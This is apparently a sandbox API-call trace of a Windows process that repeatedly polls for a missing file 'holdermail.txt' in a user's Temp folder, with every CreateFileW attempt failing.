	[0089.181] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.181] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.181] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.181] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.181] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.181] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.182] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.182] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.182] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.182] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.183] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.183] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.183] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.184] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.184] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.184] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.184] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.184] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.184] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.185] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.185] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.185] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.185] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.185] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.185] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.185] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.186] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.186] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.186] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.186] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.187] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.187] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.187] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.188] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.188] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.188] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.188] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.188] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.189] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.189] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.189] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.189] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.189] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.189] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.190] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.190] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.190] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.190] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.190] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.190] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.190] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.191] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.191] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.191] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.191] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.192] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.192] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.192] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.192] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.193] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.193] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.193] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.193] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.193] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.194] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.194] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.194] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.194] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.194] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.194] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.195] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.195] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.195] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.195] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
